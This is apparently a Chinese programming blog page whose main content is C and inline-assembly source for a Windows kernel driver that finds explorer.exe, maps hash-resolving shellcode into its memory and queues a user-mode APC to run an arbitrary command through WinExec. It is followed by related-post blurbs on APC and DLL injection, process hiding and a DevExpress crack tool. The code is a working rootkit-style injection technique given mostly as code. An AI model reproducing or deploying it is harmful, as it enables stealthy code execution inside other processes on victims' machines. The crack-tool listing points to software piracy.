//=====================================================================================//
//Name: void RunUserModeProcess() //
// //
//Descripion: This routine retrieves the list of all processes running on the machine, //
// searches for 'explorer.exe', gets one thread from it's PEPROCESS struct, //
// then it queues an APC to that thread //
//=====================================================================================//
void RunUserModeProcess(char* command_line)
{
PEPROCESS pTargetProcess = NULL; //self explanatory
PKTHREAD pTargetThread = NULL; //thread that can be either alerable or non-alertable
PKTHREAD pNotAlertableThread = NULL; //non-alertable thread
PEPROCESS pSystemProcess = NULL; //May not necessarily be the 'System' process
PETHREAD pTempThread = NULL;
PLIST_ENTRY pNextEntry, pListHead, pThNextEntry;
if(strlen(command_line)>300) return; //name not longer than 300 characters
pSystemProcess = PsGetCurrentProcess(); //make sure you are running at IRQL PASSIVE_LEVEL
if(!pSystemProcess)
{
DbgPrint("lzplhq -> Cannot find 'System' process!");
return;
}
if(IsListEmpty(&pSystemProcess->ActiveProcessLinks))
DbgPrint("lzplhq -> No processes found!");
else
{
pListHead = &pSystemProcess->ActiveProcessLinks;
pNextEntry = pListHead->Flink;
while(pNextEntry != pListHead) //start looping through the available processes
{
pSystemProcess = CONTAINING_RECORD(pNextEntry,EPROCESS,ActiveProcessLinks);
if(pSystemProcess->ActiveThreads)
{
if(!IsListEmpty(&pSystemProcess->ThreadListHead))
{
//Is this explorer.exe?
if(_strnicmp(pSystemProcess->ImageFileName,"explorer.exe",12)==0)
{
pTargetProcess = pSystemProcess; //Yes,we have found it!
pTargetThread = pNotAlertableThread = NULL;
pThNextEntry = pSystemProcess->ThreadListHead.Flink;
//Now we loop through it's threads, seeking an alertable thread
while(pThNextEntry != &pSystemProcess->ThreadListHead)
{
pTempThread = CONTAINING_RECORD(pThNextEntry,ETHREAD,ThreadListEntry);
if(pTempThread->Tcb.Alertable) //Tcb is the KTHREAD of this ETHREAD and stands for 'Thread Control Block'
{
//Good, an alertable thread was found.
pTargetThread = &pTempThread->Tcb;
DbgPrint("lzplhq -> Found alertable thread");
//We will be using this one, so break now
break;
}
else
{
//Didn't find an alertable thread yet, so we'll keep this one
//just in case we won't find ANY alertable threads
pNotAlertableThread = &pTempThread->Tcb;
}
pThNextEntry = pThNextEntry->Flink; //check next thread
}
break;
}
}
}
pSystemProcess = NULL;
pNextEntry = pNextEntry->Flink; //get next process
}
}
if(!pTargetProcess)
{
DbgPrint("lzplhq -> Couldn't find Explorer.exe!");
return;
}
if(!pTargetThread)
{
//No alertable thread was found, so let's hope we've at least got a non-alertable one (we'll set its alertable flag ON)
//There's no problem with non-alertable threads, except for the fact that it takes
//a little longer for them to return from KernelMode. (that means our process execution will be delayed)
pTargetThread = pNotAlertableThread;
}
if(pTargetThread)
{
DbgPrint("lzplhq -> Targeted thread: 0x%p",pTargetThread);
//We have one thread (alertable or n/a), now install the APC
InstallUserModeApc(command_line, pTargetThread,pTargetProcess);
}
else
DbgPrint("lzplhq -> No thread found!"); //Explorer exe with NO threads (???)
}
PMDL pMdl = NULL;
//===================================================================//
//Name: VOID ApcKernelRoutine() //
// //
//Descripion: This routine gets called after the APC routine returns //
// (our process should have been executed by then) //
// It frees all the memory allocated by InstallUserModeApc//
// (APC and MDL) //
//===================================================================//
void ApcKernelRoutine( IN struct _KAPC *Apc, IN OUT PKNORMAL_ROUTINE *NormalRoutine,
IN OUT PVOID *NormalContext, IN OUT PVOID *SystemArgument1, IN OUT PVOID *SystemArgument2 )
{
PKEVENT pEvent;
if (Apc)
ExFreePool(Apc);
pEvent = (PKEVENT)*SystemArgument1;
KeSetEvent (pEvent,IO_NO_INCREMENT,FALSE);
}
//===================================================================//
//Name: //
// NTSTATUS InstallUserModeApc() //
// //
//Paramters: //
// CommandLine - Full path of the process to be executes //
// pTargetThread - This is where we queue our APC //
// pTargetProcess - Should point to Explorer's EPROCESS //
// //
//Descripion: This routine attaches to 'pTargetThread' and it queues //
// a UserMode APC that will be excuted next time the //
// thread returns from KernelMode //
//===================================================================//
NTSTATUS
InstallUserModeApc(char* CommandLine, PKTHREAD pTargetThread, PEPROCESS pTargetProcess)
{
PRKAPC pApc = NULL; //Our APC
PKEVENT pEvent = NULL;
PVOID pMappedAddress = NULL; //This is where the UserMode routine's code will be placed at
ULONG dwSize = 0; //Size of code to be executed in Explorer's address space
KAPC_STATE ApcState; // Needed for KeStackAttachProcess
ULONG *data_addr=0; //just a helper to change the address of the 'push' instruction
//in the ApcCreateProcess routine
ULONG dwMappedAddress = 0; //same as above
NTSTATUS Status = STATUS_UNSUCCESSFUL;
if (!pTargetThread || !pTargetProcess)
return STATUS_UNSUCCESSFUL;
DbgPrint("command_line:%s/n",CommandLine);
//Allocate memory for our APC
pApc = ExAllocatePool (NonPagedPool,sizeof (KAPC));
if (!pApc)
{
DbgPrint("lzplhq -> Failed to allocate memory for the APC structure");
return STATUS_INSUFFICIENT_RESOURCES;
}
pEvent = ExAllocatePool (NonPagedPool,sizeof (KEVENT));
if (!pEvent)
{
ExFreePool (pApc);
return STATUS_INSUFFICIENT_RESOURCES;
}
//Get the size of our UserMode code
dwSize = (unsigned char*)ApcCreateProcessEnd-(unsigned char*)ApcCreateProcess;
//Allocate an MDL describing our ApcCreateProcess' memory
pMdl = IoAllocateMdl (ApcCreateProcess, dwSize, FALSE,FALSE,NULL);
if (!pMdl)
{
DbgPrint("lzplhq -> Failed to allocate MDL");
ExFreePool (pApc);
return STATUS_INSUFFICIENT_RESOURCES;
}
__try
{
//Probe the pages for Write access and make them memory resident
MmProbeAndLockPages (pMdl,KernelMode,IoWriteAccess);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint("lzplhq -> Exception during MmProbeAndLockPages");
IoFreeMdl (pMdl);
ExFreePool (pApc);
ExFreePool (pEvent);
return STATUS_UNSUCCESSFUL;
}
//Attach to the Explorer's address space
KeStackAttachProcess(&(pTargetProcess->Pcb),&ApcState);
//Now map the physical pages (our code) described by 'pMdl'
pMappedAddress = MmMapLockedPagesSpecifyCache (pMdl,UserMode,MmCached,NULL,FALSE,NormalPagePriority);
if (!pMappedAddress)
{
DbgPrint("lzplhq -> Cannot map address");
KeUnstackDetachProcess (&ApcState);
IoFreeMdl (pMdl);
ExFreePool (pApc);
ExFreePool (pEvent);
return STATUS_UNSUCCESSFUL;
}
else
DbgPrint("lzplhq -> UserMode memory at address: 0x%p",pMappedAddress);
dwMappedAddress = (ULONG)pMappedAddress;
// copy commandline
memset ((unsigned char*)pMappedAddress + 163, 0, 260);
memcpy ((unsigned char*)pMappedAddress + 163, CommandLine,strlen (CommandLine));
//all done, detach now
KeUnstackDetachProcess (&ApcState);
//Initialize the APC...
KeInitializeEvent(pEvent,NotificationEvent,FALSE);
KeInitializeApc(pApc,pTargetThread,
OriginalApcEnvironment,
&ApcKernelRoutine,NULL,
pMappedAddress, UserMode, (PVOID) NULL);
//...and queue it
if (!KeInsertQueueApc(pApc,pEvent,NULL,0))
{
DbgPrint("lzplhq -> Failed to insert APC");
MmUnlockPages(pMdl);
IoFreeMdl (pMdl);
ExFreePool (pApc);
ExFreePool(pEvent);
return STATUS_UNSUCCESSFUL;
}
else
{
DbgPrint("lzplhq -> APC delivered");
}
//is this a non-alertable thread?
if(!pTargetThread->ApcState.UserApcPending)
{
//if yes then alert it
pTargetThread->ApcState.UserApcPending = TRUE;
}
// apc is fired, wait event to signal completion
KeWaitForSingleObject (pEvent,Executive,KernelMode,FALSE,NULL);
DbgPrint("Get the Event/n");
// free event
ExFreePool (pEvent);
if(pMdl)
{
MmUnlockPages(pMdl);
IoFreeMdl (pMdl);
pMdl = NULL;
}
DbgPrint("lzplhq -> ApcKernelRoutine called. Memory freed.");
return 0;
}
//=====================================================================================//
//Name: void ApcCreateProcess() //
//=====================================================================================//
__declspec(naked) void ApcCreateProcess(PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2)
{
__asm
{
push ebp
mov ebp,esp
push ebx
push esi
push edi
jmp __startup; ; these are just functions.... skip
__find_kernel32:
push esi ; Save esi
push 0x30
pop ecx
mov eax, fs:[ecx] ; Extract the PEB
mov eax, [eax + 0x0c] ; Extract the PROCESS_MODULE_INFO pointer from the PEB
mov esi, [eax + 0x1c] ; Get the address of flink in the init module list
lodsd ; Load the address of blink into eax
mov eax, [eax + 0x8] ; Grab the module base address from the list entry
pop esi ; Restore esi
ret ; Return
__find_function:
pushad ; Save all registers
mov ebp, [esp + 0x24] ; Store the base address in eax
mov eax, [ebp + 0x3c] ; PE header VMA
mov edx, [ebp + eax + 0x78] ; Export table relative offset
add edx, ebp ; Export table VMA
mov ecx, [edx + 0x18] ; Number of names
mov ebx, [edx + 0x20] ; Names table relative offset
add ebx, ebp ; Names table VMA
__find_function_loop:
jecxz __find_function_finished ; Jump to the end if ecx is 0
dec ecx ; Decrement our names counter
mov esi, [ebx + ecx * 4] ; Store the relative offset of the name
add esi, ebp ; Set esi to the VMA of the current name
xor edi, edi ; Zero edi
xor eax, eax ; Zero eax
cld ; Clear direction
__compute_hash_again:
lodsb ; Load the next byte from esi into al
test al, al ; Test ourselves.
jz __compute_hash_finished ; If the ZF is set, we've hit the null term.
ror edi, 0xd ; Rotate edi 13 bits to the right
add edi, eax ; Add the new byte to the accumulator
jmp __compute_hash_again ; Next iteration
__compute_hash_finished:
cmp edi, [esp + 0x28] ; Compare the computed hash with the requested hash
jnz __find_function_loop ; No match, try the next one.
mov ebx, [edx + 0x24] ; Ordinals table relative offset
add ebx, ebp ; Ordinals table VMA
mov cx, [ebx + 2 * ecx] ; Extrapolate the function's ordinal
mov ebx, [edx + 0x1c] ; Address table relative offset
add ebx, ebp ; Address table VMA
mov eax, [ebx + 4 * ecx] ; Extract the relative function offset from its ordinal
add eax, ebp ; Function VMA
mov [esp + 0x1c], eax ; Overwrite stack version of eax from pushad
__find_function_finished:
popad ; Restore all registers
ret 8
__begin:
nop
pop edi ; Pop address
mov ebx, __execute
sub ebx, __command_line
sub edi, ebx ; filename offset
mov esi,edi ; filename to edi
call __find_kernel32 ; Find kernel32 address
mov ebx, eax ; Save address in ebx
jmp short __execute ; Skip data
__startup:
call __begin ; Fetch our data address
__execute:
push 0x0e8afe98 ; WinExec hash
push ebx ; kernel32 base address
call __find_function ; find address
xor ecx,ecx
inc ecx ; ecx = 1
push ecx ; uCmdShow
push esi ; lpCmdLine. We already have the exe path in esi
call eax ; call WinExec
jmp __end
__command_line: ; Space (~300 bytes) for commandline
nop
............ ;omit here, total 300 nop instruction
nop
__end:
pop edi ; restore registers
pop esi
pop ebx
pop ebp
ret 0x0c
}
}
void ApcCreateProcessEnd(){}
相关推荐
opencv的cmake报错
1、下载 ippicv_2021.8_win_intel64_20230330_general.zip、v0.1.2a.zip、opencv_videoio_ffmpeg.dll、opencv_videoio_ffmpeg_64.dll、ffmpeg_version.cmake。由于下载源在https://raw.githubusercontent.com,由于网络原因下载不顺畅,可以先找到文件下载到对应文件夹下,或者更改网络环境。ffmpeg_version.cmake文件,打开后显示如下, 另存即可。
驱动中获取PsActiveProcessHead变量地址的五种方法
PsActiveProcessHead的定义: 在windows系统中,所有的活动进程都是连在一起的,构成一个双链表,表头是全局变量PsActiveProcessHead,当一个进程被创建时,其ActiveProcessList域将被作为节点加入到此链表中;当进程被删除时,则从此链表中移除,如果windows需要枚举所有的进程,直接操纵此链表即可。 方法一:从Kd...
QGIS v3.28 高效加载OSM在线地图的三种实用方法
本文详细介绍了在QGIS v3.28中高效加载OSM在线地图的三种实用方法:通过XYZ Tiles直接连接、使用QuickMapServices插件以及配置WMS/WTMS服务。针对每种方法提供了具体操作步骤、常见问题解决方案和性能优化建议,帮助用户根据需求选择最适合的方案,提升GIS工作效率。
断链隐藏进程
新手windbg使用,入门内核
【stm32+K210项目】基于K210与STM32协同工作的智能垃圾分类系统设计与实现(完整工程资料源码)
本系统采用SG90舵机Maix Bit摄像头STM32C8T6主控板以及LX_TRIG_MP3_V6.0语音播报模块,构建了一套高效的智能垃圾分类系统,综合运用了图像识别、语音播报及精准控制技术。SG90舵机负责控制垃圾桶的开盖操作。该舵机通过接收PWM信号来实现转动,内部有一个基准电路产生周期为20ms的PWM信号,通过外部脉冲信号的控制(高电平时间在0.5ms至2.5ms之间),使得舵机的输出轴转动到指定位置。舵机内的位置反馈电位计。
YOLOv8改进 | 融合篇,YOLOv8主干改进融合网络之MobileNetV3+CA注意机制,助力涨点
MobileNetV3通过结合硬件感知网络架构搜索(NAS)和NetAdapt算法,通过新颖的架构改进进一步提升了性能。YOLOv8中的主干网络替换成MobileNetV3+引入CA注意机制
Windows2003 内核级进程隐藏、侦测技术(下)
在PspCreateProcess内核API中能清晰的找到: InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks); 当进程结束的时候,该进程的EPROCESS结构当从活动进程链上摘除。(但是EPROCESS结构不一定就马上释放)。 在PspExitProcess内核API中能清晰的找到:
博途S7-1500T 使用工艺对象驱动液压轴(含SimaHydTO库)
利用工艺对象控制液压轴位置含PLC控制和仿真程序文档资料下载地址如下:液压比例伺服阀的相关应用知识请参看下面的博客文章:液压位置闭环控制(比例伺服阀应用)_RXXW_Dor的博客-优快云博客。
遍历PspCidTable表检测隐藏进程
一、PspCidTable概述 PspCidTable也是一个句柄表,其格式与普通的句柄表是完全一样的,但它与每个进程私有的句柄表有以下不同: 1.PspCidTable中存放的对象是系统中所有的进程线程对象,其索引就是PID和TID。 2.PspCidTable中存放的直接是对象体(EPROCESS和ETHREAD),而每个进程私有的句柄表则存放的是对象头(OBJECT_HE...
复现基于混频因子模型的GDP即时预测方法
基于混频因子模型的GDP即时预测方法复现 本文复现了混频因子模型(MIDAS)在GDP即时预测中的应用。该方法整合7个月度宏观经济变量(工业增加值、CPI、PMI等)与季度GDP数据,通过状态空间模型实现高频预测。技术实现包括:1)使用PCA提取潜在共同因子;2)构建状态空间模型处理混频数据;3)通过卡尔曼滤波进行参数估计。实证结果显示模型预测效果良好(测试集R²=0.82),其中工业增加值对因子1贡献最大(0.82),CPI对因子2贡献显著(0.78)。该方法为决策者提供了更及时的季度GDP估算。
华为OD新系统机试真题 4.26 -最大化游戏试玩资格分发
华为OD机试新系统真题【最大化游戏试玩资格分发】,提供C语言、Java、C++、Python、Go、JavaScript源码实现,并提供完整思路讲解,以及在线OJ模拟做题。华为OD新系统机试 4月26号真题【最大化游戏试玩资格分发】。
内核模式 注入DLL
//用APC实现在内核模式运行用户程序 //昨天晚上弄到1点,总算把这个东西调通了,这个是老技术了,在rootkit上又篇文章讨论过,参考那篇文章我把这个东西弄出来了.代码贴在下面灌水,高手就不用看了...... //=====================================================================================// //N
【电源专题】案例:对比不同电池在不同电流下的电池放电曲线
无
用户 APC
无论如何,在 APC 内获取锁可能是一个坏主意,但在内核中,微软已经部分解决了这个问题 - 您可以通过将 IRQL 提升到 APC_LEVEL 或通过 KeEnterCriticalRegion / KeEnterGuardedRegion 禁用 APC 来阻止 APC 到获取特定锁的线程 - 有时它是例如,某些 API(例如 ExAcquireResourceSharedLite)需要。APC(异步过程调用)是一种可在 Windows 中使用的机制,用于对要在特定线程的上下文中完成的作业进行排队。
C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片
基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正
Devexpress16.2.6破解工具
Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具
初识APC机制&实现APC注入
其实就是一种骚姿势进行的DLL注入,而且动静比之前的小,又已经在运行的线程来回调插入到APC队列中的恶意DLL。
复分析 阿尔福斯(Ahlfors) 第三版答案 英文
答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案
APC的内部实现
APC的内部实现 今天心情如同死去的病人的心电图一般,直线一条。所以没啥好说的。 天津泰达拿了亚军,还是挺给力的,下赛季去球场看亚冠,多少年没去现场看球了,上次去还是泰达球场的落成仪式,泰达2:1墨尔本,虽然中国足球没什么好看的,但是球场是一个比较便宜
IEM模型,地表粗糙度模拟
利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟
谈谈对APC的一点理解
异步过程调用(APCs) 是NT异步处理体系结构中的一个基础部分,理解了它,对于了解NT怎样操作和执行几个核心的系统操作很有帮助。 1) APCs允许用户程序和系统元件在一个进程的地址空间内某个线程的上下文中执行代码。 2) I/O管理器使用APCs来完成一个线程发起的异步的I/O操作。例如:当一个设备驱动调用IoCompleteRequest来通知I/O管理器,它已经结束处理一个异步I/
用户 APC 内部结构
此外,执行 APC 时使用的堆栈与当前用户模式线程相同 - 先前执行的上下文(用户模式中的 NtWaitForSingleObject)被推送到堆栈,并在 APC 运行完成后恢复。如果该标志不为 0,则挂起的 APC 将在用户模式下依次执行。在返回 STATUS_USER_APC 之前,KeWaitForSingleObject 将“UserApcPending”设置为 TRUE - 正如我上面所说,“UserApcPending”会在线程返回用户模式之前触发对 KiDeliverApc 的调用。
进程注入系列一之APC注入
什么是APC APC 是一个简称,全称为Asynchronous Procedure Call,叫异步过程调用,是指函数在特定线程中被异步执行,在操作系统中,APC是一种并发机制。 MSDN解释为: 相关函数 QueueUserApc:函数作用,添加制定的异步函数调用(回调函数)到执行的线程的APC队列中 APCproc:函数作用: 回调函数的写法. 核心函数 QueueUserAPC DWORD QueueUserAPC( PAPCFUNCpfnAPC, // APC function HANDLEhT
APC注入以及几种实现方式
APC注入以及几种实现方式
apc
转自http://blog.youkuaiyun.com/sky101010ws/article/details/6973108 在Windows NT中,APC被无数次地提到,但在标准Microsoft DDK中却没有说明什么是APC以及应该怎么使用。但是理解APC是理解Windows NT怎么工作的本质。 当然,毫无疑问你们一定知道一些完全支持APC的Win32 API(比如QueueU
深入学习APC
在NT中,有两种类型的APCs:用户模式和内核模式。用户APCs运行在用户模式下目标线程当前上下文中,并且需要从目标线程得到许可来运行。特别是,用户模式的APCs需要目标线程处在alertable等待状态才能被成功的调度执行。通过调用下面任意一个函数,都可以让线程进入这种状态。这些函数是:KeWaitForSingleObject, KeWaitForMultipleObjects, KeWait
OSR文档:NT中的异步过程调用(APC)
在Windows NT中,APC被无数次地提到,但在标准Microsoft DDK中却没有说明什么是APC以及应该怎么使用。但是理解APC是理解Windows NT怎么工作的本质。 当然,毫无疑问你们一定知道一些完全支持APC的Win32 API(比如QueueUserApc这个Win32 API函数)。Windows NT平台的Win32 APC抽象是建立在内核中的本地APC支持之上的。
APC注入
异步过程调用(APC, Asynchronous Procedure Call)是一种在Windows操作系统中使用的机制,允许在一个线程中调用另一个线程的函数,而不会阻塞调用线程。这种机制常用于需要在后台执行任务的情况,比如处理I/O操作或定时处理等。
1299



被折叠的 条评论
为什么被折叠?



